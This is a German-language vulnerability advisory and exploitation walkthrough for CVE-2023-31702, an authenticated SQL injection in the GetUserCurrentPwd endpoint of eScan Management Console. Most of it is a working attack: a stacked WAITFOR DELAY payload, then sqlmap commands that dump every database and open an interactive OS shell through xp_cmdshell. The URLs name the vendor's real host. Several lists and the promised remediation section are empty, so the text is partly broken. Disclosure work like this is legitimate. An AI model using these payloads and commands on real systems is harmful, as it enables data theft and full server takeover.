
CVE-2023-31702 ist eine authentifizierte SQL-Injection-Schwachstelle, die in der MicroWorld Technologies eScan Management Console Version 14.0.1400.2281 entdeckt wurde.
CVE-2023-31702 ist eine authentifizierte SQL-Injection-Schwachstelle, die in MicroWorld Technologies eScan Management Console Version 14.0.1400.2281 entdeckt wurde. Die Schwachstelle besteht im GetUserCurrentPwd-Endpunkt, wobei der Parameter UsrId direkt in eine SQL-Abfrage übernommen wird, ohne ordnungsgemäße Bereinigung oder Verwendung parametrisierter Abfragen. Ein authentifizierter Angreifer kann diese Schwachstelle ausnutzen, um eine zeitbasierte Blind-SQL-Injection durchzuführen, die gesamte Backend-Datenbank auszulesen und letztendlich eine interaktive OS-Befehlsshell auf dem zugrunde liegenden Microsoft SQL Server zu erhalten — was zu einer vollständigen Kompromittierung des Systems führt.
| Feld | Details |
|---|---|
| CVE-ID | CVE-2023-31702 |
| Schwachstellentyp | SQL Injection (zeitbasierte Blind / Gestapelte Abfragen) |
| Betroffenes Produkt | MicroWorld Technologies eScan Management Console |
| Betroffene Version | 14.0.1400.2281 |
| Gefährdeter Endpunkt | /ewconsole/ewconsole.dll/GetUserCurrentPwd |
| Gefährdeter Parameter | UsrId |
| Authentifizierung | Erforderlich (gültige Konsolenanmeldedaten) |
| Getestet auf | Windows |
| CVSS-v3.1-Wert | 8.8 (Hoch) |
| CVSS-Vektor | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Gemeldet am | 16. Mai 2023 |
| Autor | Sahil Ojha |
| Feld | Details |
|---|---|
| Anbieter | MicroWorld Technologies |
| Produkt | eScan Management Console |
| Website des Anbieters | https://www.escanav.com |
| Software-Link | https://cl.escanav.com/ewconsole.dll |
| Plattform | Windows |
Die eScan Management Console bietet eine webbasierte Oberfläche zur Verwaltung der Endpoint-Sicherheit im Netzwerk einer Organisation. Die Funktion „Benutzerprofil anzeigen" stellt einen REST-ähnlichen Endpunkt bereit:
/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=<ID>&cnt=<counter>
Der Parameter UsrId wird ohne Validierung, Escaping oder Verwendung parametrisierter Abfragen in eine Backend-SQL-Abfrage aufgenommen. Dies ermöglicht es einem authentifizierten Angreifer, beliebige SQL-Anweisungen in die Abfrage einzuschleusen, was zu Folgendem führt:
WAITFOR DELAY, um die Ausnutzbarkeit zu bestätigen.xp_cmdshell des SQL Servers (aktiviert über sp_configure), um beliebige Betriebssystembefehle auf dem Server mit den Berechtigungen des SQL-Server-Dienstkontos auszuführen.Eine erfolgreiche Ausnutzung dieser Schwachstelle ermöglicht es einem Angreifer:
⚠️ Hinweis: Der Angreifer muss zunächst gültige Anmeldedaten für die eScan Management Console erlangen. Nach erfolgreicher Authentifizierung ist die Ausnutzung jedoch unkompliziert und erfordert keine erhöhten Konsolenrechte.
Nach der Authentifizierung an der eScan Management Console navigieren Sie zur folgenden URL:
https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1&cnt=5493
Dies gibt die aktuellen Benutzerprofildaten zurück und bestätigt, dass der Endpunkt erreichbar ist.

Fügen Sie den folgenden Zeitverzögerungs-Payload in den Parameter UsrId ein:
https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1;WAITFOR DELAY '0:0:5'--&cnt=4176
Aufbau des Payloads:
; — beendet die ursprüngliche SQL-Anweisung und beginnt eine neue (gestapelte Abfrage).WAITFOR DELAY '0:0:5' — weist den SQL Server an, 5 Sekunden zu warten, bevor er antwortet.-- — kommentiert den Rest der ursprünglichen Abfrage aus, um Syntaxfehler zu verhindern.Wenn die Antwort des Servers um etwa 5 Sekunden verzögert wird, ist die Injektion bestätigt.

Sobald die Blind-SQL-Injection bestätigt ist, kann die gesamte Datenbank mithilfe von SQLMap ausgelesen werden:
sqlmap -u "https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1&cnt=5493" \
--cookie="<session_cookie>" \
--dbms=mssql \
--dbs \
--batch
Dies listet alle Datenbanken auf, die auf dem Backend-SQL-Server gehostet werden.
SQLMap kann den Angriff außerdem auf die Ausführung von Befehlen auf OS-Ebene ausweiten, indem xp_cmdshell aktiviert und genutzt wird:
sqlmap -u "https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1&cnt=5493" \
--cookie="<session_cookie>" \
--dbms=mssql \
--os-shell \
--batch
Dies richtet eine interaktive OS-Shell auf dem SQL-Server-Host ein.

Mit eingerichteter OS-Shell können beliebige Windows-Befehle auf dem Server ausgeführt werden:

Die folgenden Maßnahmen werden dringend empfohlen, um diese Schwachstelle zu beheben und abzuschwächen: